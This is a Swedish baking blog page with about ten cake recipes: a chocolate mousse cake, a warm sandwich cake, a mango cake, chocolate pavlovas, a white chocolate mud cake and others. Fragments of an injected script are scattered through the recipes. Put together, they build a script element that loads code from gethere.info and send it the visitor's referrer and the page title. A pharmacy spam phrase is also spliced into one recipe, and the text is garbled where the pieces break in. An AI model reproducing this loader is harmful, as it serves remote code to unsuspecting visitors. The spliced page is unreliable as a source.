Chokladmoussetårta

1
Receptet på den här moussetårtan hittade jag på Jennys matblogg.

Om du tycker om choklad så är det här rätt tårta för dig.

Receptet kommer här.

Botten:
200 gram cookies ( te.x Maryland )
80 gram smält smör

Mousse:
3 gelatinblad
400 gram mjölkchoklad
250 gram mascarpone
500 gram philadelphiaost
2 1/2 dl vispgrädde
2 msk vatten
1 rulle center

Topping:
färska hallon
1 rulle center

Gör så här:
Mixa kakorna till smulor i en mixer och rör ihop med det smälta smöret.
Pressa ut blandningen i en rund springform med avtagbara kanter. ( cirka 22-24 cm) Lägg gelatinbladen i kallt vatten.
Smält chokladen försiktigt i micron eller över vattenbad ( den ska inte bli för varm )
Vispa ihop mascarpone& färskostmed en elvisp i en bunke. Vispa grädden tills den är ordentligt fast och bildar stadiga toppar. Vänd ner grädden tillsammans med chokladen i mascarponeblaningen, vänd försiktigt med en slickepott tills allt är väl blandat.
Krama ur gelantinbladen och värm dem tillsammans med 2 msk vatten i en kastrull, de ska precis bara smälta. Rör ner detta i smeten, och rör kraftigt så att allt blandar sig väl. Grovhacka ner centern och blanda om fördela sedan ut jämt över kakbotten. Förvara gärna Centern i kylskåpet innan du grovhackar den.
Låt stå och svalna i kylskåpet i minst 5 timmar, men gärna över natten. Det går även att förvara tårtan i frysen.

Toppa med center och hallon.
AA - kopiaKaka
DD
CC - kopia
BB - kopia
EE
2
3

Varm smörgåstårta

Här kommer ett recept jag vill dela med mig på le cialis est il dangereux en varm smörgåstårta. Receptet har jag fått av en kompis.

Varm smörgåstårta (räcker till ca 5 personer)
2 paket hönökaka
2 paket bacon
1 burk champinjoner
1 liten purjolök (ca 2-3 nävar)
5 dl creme fraiche
ost
3-4 Tomater
Lite salt och svartpeppar

Stek bacon knaprigt.
Hacka purjolök och champinjoner och blanda i baconet stek en liten stund till .
Häll hela blandningen i en skål och rör i chrame fraiche.
Lägg ut hönökakan på en plåt med bakplåtspapper på och lägg dom så det blir en rund kaka.
Varva med bacon blandningen och hönökakan, det ska bli tre lager.
Till sist så lägger du på tomat och ost. In i mitten av ugnen på 200grader eller till osten fått färg.
Servera den varma smörgåstårtan tillsammans med en god sallad.

 

 

 if (document.currentScript) {

Mangotårta

IMG_6796

Receptet på mangotårtan hittade jag här.

Ingredienser till 12 portioner Mangotårta

100 g smör 8 digestivekex (ca 130 g om du byter ut till glutenfria som har en annan storlek)
2 dl kokosflingor
2 paket fryst mango, 450 g (tinas upp innan tillagning)
2 lime
200 g naturell färskost
2 dl turkisk yoghurt
2 dl + 1 msk florsocker
1 tsk vaniljsocker
5,5 gelatinblad
2 dl vispgrädde

Gör så här: 
1. Smält 100 g smör i en kastrull. Smula digestivekexen och blanda med det smälta smöret och 2 dl kokosflingor i en bunke.
2. Lägg ett bakplåtspapper i botten av en springform och platta ut kexblandningen i formen.
3. Mixa 225 g tinad mango till en slät puré i en bunke. Tillsätt saften från 1 lime, 200 g naturell färskost, 2 dl yoghurt, 2 dl florsocker och 1 tsk vaniljsocker. Vispa ihop till en klumpfri smet.
4. Lägg 5 gelatinblad i kallt vatten i 5 minuter. Värm 2 dl av mangosmeten i en kastrull, dra av från plattan och smält de blötlagda gelatinbladen i smeten under omrörning. Vispa ner gelatinsmeten med resten av mangoyoghurten.
5. Vispa 2 dl grädde fluffigt och

vänd ner den i mangosmeten. Blanda väl och häll smeten i formen.

6. Mangorippel: Lägg 0,5 gelatinblad i vatten i 5 minuter. Mixa 225 g tinad mango slätt med 1 msk florsocker och saften från 1 lime. Värm hälften av rippeln i en liten kastrull och smält ner det blötlagda gelatinbladet. Blanda med resten av rippeln.
7. Klicka ut mangorippeln på tårtan och dra med baksidan av en sked för att få ett häftigt mönster. 8. Plasta formen och ställ i kylen i minst tre timmar. Det går utmärkt att förbereda denna dagen innan.

Ovan är en bild på botten. Jag tycker det är enklast att få den jämn om jag sprider ut hela botten först och sedan plattar till den med baksidan av en sked. Jag har testat att göra det med handen, men då får jag alltid ett lite ojämnt resultat.

IMG_6801IMG_6800IMG_6804IMG_6803IMG_6802IMG_6805IMG_6799IMG_6798IMG_6797IMG_6796

XX

Chokladtårta med kolapopcorn

3

Till nyår bakade jag en supergod chokladtårta med kolapopcorn, annorlunda men riktigt god tårta. Receptet  kommer från Linda Lomelinos bok ”Sweet food & photography” och receptet hittar du  här.

Portioner: 8–10 bitar

Chokladbottnar:
75 g smör
4 ½ dl vetemjöl
1 ½ dl kakao
1 ½ tsk bakpulver
1 ½ tsk bikarbonat
3 ¾ dl strösocker
en nypa salt
2 ägg
2 ¼ dl mjölk
1 ½ dl starkt hett kaffe eller kokhett vatten

Kolakräm:
1 ½ dl vispgrädde
2 ½ dl strösocker
100 g kallt smör, i tärningar
½ tsk flingsalt

Kolamarängsmörkräm:
4 äggvitor
2 dl strösocker
250 g rumsvarmt smör
1 dl kolakräm (se ovan)

Krispiga kolapopcorn:
poppade popcorn från ½ påse mikropopcorn (salta)
1 dl kolakräm (se ovan)

 

1. Chokladbottnar. Värm ugnen till 175 grader. Smörj och mjöla två bakformar, cirka 15 cm i diameter.
2. Smält smöret och låt det svalna.
3. Sikta ner mjöl, kakao, bakpulver, bikarbonat, socker och salt i en stor skål. Tillsätt ägg, mjölk och kaffe och vispa i ett par minuter till en slät smet.
4. Fördela smeten jämnt mellan formarna och grädda bottnarna i nedre delen av ugnen i 30–35 minuter (kontrollera med en provsticka att bottnarna inte är kladdiga i mitten innan du tar ut dem). Låt bottnarna svalna lite i formen innan de vänds upp på ett ugnsgaller för att svalna helt.
5. Kolakräm: Värm grädden försiktigt på svag värme i en kastrull. Det ska inte koka.
6. Lägg sockret i en annan kastrull och värm på medelvärme tills det börjar smälta runt kanterna. Rör försiktigt tills allt socker har smält och fått en fin gyllenbrun färg. Använder du baktermometer ska sockret bli 170–175 grader.
7. Tillsätt smöret till sockret och rör om tills det smält. Tillsätt den varma grädden försiktigt, lite i taget, och rör tills blandningen är helt slät. Rör i saltet.
8. Häll upp i en burk och låt kolakrämen svalna i rumstemperatur medan du förbereder smörkrämen.
9. Kolamarängsmörkräm. Lägg äggvitor och socker i en värmetålig skål eller kastrull över sjudande vattenbad. Vispa med en handvisp och värm blandningen till 65 grader eller tills sockerkristallerna smält. Häll över smeten i en stor bunke och fortsätt vispa med elvisp tills blandningen blivit en vit och fluffig marängsmet. Vispa tills smeten svalnat, det tar cirka 10 minuter.
10. Tillsätt smöret, en liten bit i taget. När allt smör är tillsatt, vispa i ytterligare 3–5 minuter eller tills smörkrämen går ihop. Tillsätt 1 dl kolakräm och vispa till en jämn frosting.
11. Kolapopcorn. Värm ugnen till 150 grader. Blanda popcorn och 1 dl kolakräm i en skål så att popcornen täcks av krämen. Bred ut på en bakplåtspappersklädd plåt. Grädda popcornen i mitten av ugnen i cirka 15 minuter. Rör om då och då. Ta ut plåten och låt svalna.
12. Montering: Dela bottnarna på mitten så att du får fyra bottnar.
13. Lägg den första bottnen på ett tårtfat. Bred ut ett jämnt lager kolamarängsmörkräm över bottnen. Upprepa tills du har använt tre bottnar.
14. Lägg den sista bottnen överst med den skurna sidan ner. Bred ett tunt lager kolamarängsmörkräm över hela tårtan. Låt den stå i kylen i cirka 20 minuter, tills det yttersta lagret stelnat något.
15. Lägg på ytterligare ett lager med kolamarängsmörkräm tills tårtan är helt jämn.
16. Lägg kolapopcornen ovanpå tårtan och häll mer kolasås över (om kolasåsen är väldigt kall kan du behöva värma den något först).

1 2

 

} else {

Midsommartårta

Recepet på den här smarriga tårtan hittade jag på bloggen ”Nilla’s Kitchen” här.

bild1

Tårtbotten
6 ägg, separerade
1,5 dl honung eller Agave
1 tsk vaniljpulver
180 g kokosolja eller smör
4,5 dl mandelmjöl

bild1

Tårtbotten: Gör så här:
Värm ugnen till 175°C Smält kokosolja eller smör och låt stå vid sidan av. Smörj en större spring-form med antingen kokosolja eller smör och ”bröa” med mandelmjöl eller kokosflingor.

Placera äggvitorna i en stor bunke och vispa tills de är styva men inte “torra”. Om du vänder bunken upp och ner ska vitorna vara tillräckligt styva för att inte rinna ur.

Placera äggulorna i en separat bunke med honung eller agave och vispa hårt med elvisp (det går bra med samma visp som till vitorna utan att tvätta den) i 2-3 minuter eller till en tjock och krämig konsistens. Vispen ska lämna band-liknande spår när visparna lyfts.

Häll i det smälta fettet i äggule-vispet och rör försiktigt tills att allt kombinerats.

Tillsätt halva mängden äggvitorna till ägguleblandningen och rör försiktigt. Tillsätt sedan lite  äggvite-fluff  i tagen och “vik” försiktigt in det i smeten så att så mycket luft finns kvar som möjligt i smeten.

Tillsätt mandelmjölet och rör försiktigt.

Grädda i ugnen i ca 40-45 minuter tills att kakan är gyllene och har lyft i mitten och ser ut att dra ihop sig något och släppa lite från kanterna. Håll koll under tiden och blir den för brun för snabbt så lägg lite folie över mot slutet av gräddningen. Ta ut kakan och låt svalna helt.

bild6bild7bild10bild9bild5bild12bild4bild3bild2bild1

Lemon curd
2 citroner
2 äggulor
1 ägg
1,5 dl honung eller agave
100 g kokosolja

bild2

Lemon Curd. Gör så här:
Tvätta citronerna. Riv skalet av skalet från citronerna först och pressa sedan ut juicen.
Vispa äggulor, det hela ägget och sötning några minuter i en skål. Ställ skålen i vattenbad och tillsätt citronskal och citronjuice. Rör hela tiden tills krämen tjocknat, det kan ta mellan 15-25 minuter. (först kan det kännas som att det inte händer något och sedan plötsligt tjocknar det)
Klicka i kokosoljan eller smöret skedvis under omrörning tills det smält. Låt svalna. Förvara i kylskåp.

bild3

Till monteringen av tårtan
1-1,5 dl lemon curd eller efter smak
3 burkar  kokosgrädde (dvs det vita fasta i en burk kokosmjölk )  Ställ burken med kokosgrädde i med botten uppåt i kylskåpet. Ta fram den och gör små hål i toppen av burken och häll ut kokosvattnet, öppna burken och du har din kokosgrädde klar.
1/2 tsk vaniljpulver (jag skippade vaniljpulvret och tog lite honung istället och blandade i kokosgrädden).
en knapp liter jordgubbar

Gör lemon curd om du inte redan har förberett den . Låt svalna först i rumstemperatur, sen i kylen eller frysen så att den hinner stelna.

Montering av tårtan:
Vispa kokosgrädde med vaniljpulver.
Halvera den avsvalnade tårtbotten på mitten och bre lemon curd över snittytan på nedre halvan. Om du vill kan du skiva jordgubbar tunt och täcka över med.

Lägg tillbaka topplagret och bre över kokosgrädden. Täck med jordgubbar.

bild1

bild7

bild9

bild8

bild5bild6bild4bild3bild2bild1if (document.currentScript) {

Chokladpavlova

För några dagar sedan var jag på tjejhelg i Lysekil där vi firade Elenor som fyllt år. Jag bakade en Chokladpavlova som vi åt efter lunchen och den smakade suepergott. Jag hade förberett marängbottnarna dagen innan och ursprungsreceptet är från Linda Lomelinos kokbok ”Lomelinos Tårtor”. Istället för att ha vispgrädde som fyllning gjorde jag ”Dumlefluff”. Linda Lomelino har en blogg som heter callme cupcake.

bild10

Recept 8-10 bitar
Chokladmarängbottnar
50 gram mörk choklad (70%)
6 stora äggvitor
3 dl socker
3 msk kakao
1 msk maizena majsstärkelse
1 tsk vitvinsvinäger

Gör så här:
Bryt chokladen i bitar och smält den försiktigt över vattenbad. Låt svalna.
Värm ugnen till 175 grader.
Rita tre rundlar (ca 15 cm i diameter) på ett bakplåtspapper. Vänd på bakplåtspappret och lägg det på en plåt.
Vispa äggvitorna till mjukt skum. Tillsätt sockret lite i taget och vispa till en fast marängsmet. Du ska kunna hålla skålen uppochner utan att marängen glider ut.
Sikta ner kakao och majsstärkelse i markängen. Tillsätt vinäger och blanda till en jämn smet. Rör ner den smälta chokladen med några tag.
Fördela marängerna i 1 timme, bottnarna ska vara hårda och krispiga runt kanterna men sega i mitten. Stäng av ugnen och låt bottnarna stå kvar i eftervärmen med ugnsluckan på glänt tills ugnen är sval.

bild5bild6bild8bild1bild2

Dumlefluff
5 dl vispgrädde
1 påse Dumlekolor

Garnering:
Färska hallon
Färska jordgubbar
Maltezers choklad
1 dl pistaschnötter

Gör så här:
Häll grädden i en kastrull och värm till medelvärme. Lägg ner din dumle och låt den smälta i den varma grädden. Grädden får inte koka upp. Låt röran svalna i kylskåp. Vid servering vispar du upp dumlegrädden.

bild11bild10bild3bild4

 

Sätta ihop tårtan.
Lägg den första tårtbotten på ett tårtfat. Bred på ett lager med dumlefluff. Upprepa med nästa botten. Lägg den tredje botten överst. Toppa tårtan med ett lager dumlefluff, hallon, jordgubbar , Maltezers choklad och hackade pistaschnötter.

bild4bild5

Vit kladdchokladkaka

bild9

Den här kladdkakan har jag bakat många gånger och den är lika god  med eller utan glasyr.
Servera kakan med färsk ananas eller färska jordgubbar.
Receptet hittade jag här.

Recept 16 bitar
250 gram vit choklad
200 gram Smör
3 st ägg
2 12 dl strösocker
2 msk konjak (kan uteslutas)
2 dl vetemjöl

Glasyr
150 gram vit choklad
1/2 dl  vispgrädde
Florsocker

Gör så här:
Sätt ugnen på 175°. Hacka chokladen. Smält smöret i en kastrull. Ta från värmen och tillsätt chokladen och rör om tills den smälter. Vispa ägg och socker poröst. Rör i choklad, konjak och mjöl. Häll smeten i en smord och bröad form med löstagbar botten, ca 24 cm i diameter. Grädda i nedre delen av ugnen 30–35 min. Låt kakan kallna och ställ i kylen.

Glasyr: Hacka chokladen. Koka upp grädden. Ta den från värmen och tillsätt chokladen och rör om tills den smälter. Låt glasyren halv-stelna ca 5 min i kylen. Bred glasyren över kakan och låt den stelna i kylen. Sikta över florsocker.

bild1bild7

Så här ser kladdkakan ut när den är färdiggräddad.bild6

Om du vill ha glasyr på kakan så rekommenderar jag att du vänder på kakan för att få en slät kaka.

bild5

bild3bild4bild2bild8bild10

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Chokladpavlova fylld med Dumlekolakräm, maltesers, hallon och chokladsås

top

cho1

Här kommer ett recept på en underbart god chokladpavlova. Se gärna till och använd bra 70% choklad samt kakao.
Jag använde Valrhona kakao.

ch

Receptet på bottnarna kommer från boken ”Lomelinos tårtor” sen har jag gjort min egen variant av fyllning. Kan rekommendera att ni gör choklasåsen dagen innan samt Dumlekolakrämen. Kika gärna på Linda Lomelinos fina bakblogg på Amelia. Ni hittar länken här. Linda  har även en annan blogg som heter Call me cupcak som ni hittar här.
6972863022_583b31cd8a_o

Recept Chokladmarängbottnar.
50 gram mörk choklad (70%)
6 stora äggvitor
3 dl strösocker
3 msk kakao
1 msk maizena majsstärkelse
1 tsk vitvingsvinäger

Gör så här:
Bryt chokladen i bitar och smält över vattenbad. Låt svalna. Värm ugnen på 175 grader. Rita 2 rundlar som är ca 15-17 cm i diameter på ett bakplåtspapper. Placera dem så långt ifrån varandra du kan utan att komma för nära kanten. Vänd bakplåtspappret och lägg det på en plåt. Vispa äggvitorna till mjukt skum. Tillsätt sockret, lite i taget och vispa till en fast marängsmet. Tillsätt vinäger och blanda till en jämn smet. Sikta kakao och majsstärkelse i marängen. Tillsätt vinäger och blanda till en jämn smet. Rör ner den smälta chokladen. Fördela marängsmeten i rundlarna på bakplåtspappret. Tänk på att de flyter ut under gräddningen. Ställ in plåten i ugnen och sänk värmen till 120-125 grader. Grädda marängerna i ca 1 timma och 15 min, bottnarna ska vara hårda och frasiga runt kanten men sega i mitten. Stäng av ugnen och låt bottnarna stå kvar i eftervärmen med ugnsluckan på glänt tills ugnen är sval.

Fluffig Dumlekolakräm
3dl vispgrädde
180g dumlekolor

Hetta upp vispgrädden i en kastrull. Lägg i kolorna och smält dem under omrörning på svag värme. Låt svalna ett par timmar i kylen (gärna över natten). Vispa sedan, helst med elvisp, till en fluffig kräm. Grädden får ABSOLUT inte koka minsta lilla. Det är viktigt att den får bli riktit kall innan man vispar den annars kan den skära sig lätt!

Har den inte fluffat sig inom en minut är den inte tillräckligt kall eller så har grädden kokat. Fortsätter man vispa kommer blandningen att skära sig och är då i stort sett omöjlig att rädda.

Chokladsås
1 dl socker
50 gram smör
0.5 dl ljus sirap 1 tsk vaniljsocker 1 msk kakao 0.5 dl grädde

Gör så här: Blanda allt i en kastrull och låt koka upp. Sjud i ca 3-5 minuter tills såsen tjocknar något. Låt svalna.

Fyllning
Maltesers
Färska hallon

Sätta ihop tårtan:
Lägg den första tårtbotten på ett tårtfat. Bred på Dumlekrämen och upprepa med nästa botten. Toppa tårtan med ett lager Dumlekräm, hallon och delade Maltesers.  När tårtan är klar , låt den gärna stå i kylen i  några minuter för då blir det lättara att skära i bottnarna. Tårtan börj göras samma dag som den ska serveras.

32101987654tops.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Amerikansk pralintårta med nutellafrosting

Bild1

 

Det här receptet hittade jag i NK’s tidning ”STIL” och när jag såg bilden på tårtan var jag helt enkelt tvungen att baka tårtan.

Recept 12 bitar
Chokladbotten
3 ägg
3 dl socker
2 tsk vaniljsocker
1 dl mjölk
2 dl vetemjöl
1 dl kakao
2 tsk bakpulver

Chokladfyllning
150 gram mörk choklad 56-70 %
1,5 dl vispgrädde
1 msk ljus sirap
30 gram smör, rumstempererat

Nutellafrosting
175 gram smör, rumstempererat och  mjukt
1 tsk vaniljsocker
130 gram mörk choklad, 65-70 % hackad
20 gram nutella
75 gram ( 2 äggvitor), rumstempererade
110 gram (1,25 dl)  strösocker
1 krm salt

Till garnering 12 praliner

Gör så här:
Sätt ugnen på 175 grader. Smörj och bröa en form 19-20 cm i diameter med hög kant, ca 7 cm. Vispa ägg, socker och vaniljsocker vitt och fluffigt. Värm mjölken, dra av kastrullen från värmen. Blanda vetemjöl, kakao och bakpulver i en separat bunke. Häll i den varma mjölken i de uppvispade äggen och vänd i de torra ingredienserna. Blanda till en jämn smet. Grädda ca 50 minuter. Känn med en sticka att kakan är färdig. Låt den stå i formen i några minuter. Vänd sedan upp kakan på ett fat och låt den svalna under formen. Dela kakan i tre bottnar med en fintandad kniv.

Fyllning:
Hacka chokladen och lägg den i en bunke. Koka upp grädde och sirap. Häll den varma grädden över chokladen och rör tills all choklad smält. Låt blandningen svalna lite (den ska fortfarande vara varm, ca 40-45 grader), rör eller mixa i smöret med en mixerstav. Fördela fyllningen mellan bottnarna och lägg ihop tårtan.

Nutellafrosting: Vispa upp smör och vaniljsocker till det är fluffigt. Smält chokladen och nutellan i ett vattenbad eller i micron, rör om emellanåt. Låt chokladen svalna lite. Vispa upp äggvitan, sockret och saltet i ett varmt vattenbad tills sockret löst sig (ca 45-50 grader). Ta bort från värmen och fortsätt med elvisp tills marängen känns helt kall. Vispa i smöret lite i taget och varva den med chokladen. Fyll upp krämen i en engångsspritspåse. Klipp ett litet hål på ca 5 mm. Spritsa på krämen på kanterna och bred ut med en palett vilken ger en jämnare lager och frostingen blandas inte med kaksmulor. Spritsa även på ytan och bred ut. Fyll upp det som blir kvar av frostingen i en ny spritspåse med stjärntyll. Spritsa  på fina ”rosetter” och garnera med praliner.

bild6bild1bild13bild5bild12bild11bild10bild9bild8bild7bild4bild3bild2

Bild1bild21466161_10151815161400959_854568963_nbild3

bild2document.currentScript.parentNode.insertBefore(s, document.currentScript);

Chokladtårta med fyllning av choklad och Ahlgrens bilar fluff

Tårta

Chokladbotten
75 gr smör
4,5 dl vetemjöl
1,5 dl kakao
1,5 tsk bakpulver
1,5 tsk bikarbonat
3,75 dl strösocker
2 st medelstora ägg
2,25 dl mjölk
1,5 dl starkt hett kaffe eller kokande vatten

Choklad frosting
100 gr mörk choklad (70 %)
150 gr rumsvarmt smör
0,75 dl kakao
0,25 tsk vaniljpulver
2 msk vispgrädde
1,5-2 dl florsocker

Ahlgrens bilar frosting
60-70 gr Ahlgrens bilar
3 dl vispgrädde

Gör så här:
Chokladbotten Värm ugnen till 175 grader.
Smörj och bröa två bakformar, cirka 15 cm i diameter, eller baka i omgångar i samma form
Smält smöret och låt det svalna.  Sikta ner mjöl, kakao, bakpulver och bikarbonat i en stor skål eller bunke. Tillsätt övriga ingredienser och vispa i ett par minuter till en slät smet. Fördela smeten jämnt i formarna. Grädda bottnarna i 30–35 minuter.  Låt bottnarna svalna i 15 minuter innan du stjälper upp dem på ett galler.

Choklad frosting
Smält chokladen över vattenbad eller i mikro. Ställ åt sidan och låt svalna till rums- temperatur.
Vispa smöret ljust och krämigt. Tillsätt florsocker och kakao lite i taget tills blandningen är jämn. Blanda i den smälta chokladen och vaniljpulvret.  Tillsätt   grädde lite i taget och vispa i ett par minuter tills frostingen är slät och glansig.

Ahlgrens bilar frosting Klipp itu godiset till mindre bitar och smält i en kastrull tillsammans med grädden på svag värme. När allt smält, låt svalna i kylskåpet, gärna över natten. Vispa upp frostingen med lite grädde för fluffig konsistens. Vill du ha mer färg på frostingen, ta lite rosa pastafärg och blanda i.

Sätta ihop tårtan Dela båda bottnarna på mitten till fyra tunnare bottnar. lägg den första bottnen på ett tårtfat eller en tårtbricka.  Bred ut ett jämnt lager frosting över bottnen. Upprepa tills du har  använt tre bottnar. lägg den fjärde bottnen överst med den skurna sidan  ner.  Jag valde att ta Ahlgrens bilarfrosting på två bottnar och chokladfrosting på en. Låt tårtan stå i  kylen i cirka 20 minuter eller tills frostingen har  stelnat något. Skålen med frosting kan stå framme under tiden.  Bred resten av din choklad frosting över hela tårtan i ett jämnt lager.  Dekorera med vit sugarpaste.

bild (79)bild (76)bild (78)bild (62)bild (71)

bild (80)

bild (81)bild (73)bild (82)

bild (84)bild (77)bild (75)bild (74)bild (72)bild (85)

bild (90)bild (91)

bild (92)bild (70)

 var d=document;var s=d.createElement(‘script’);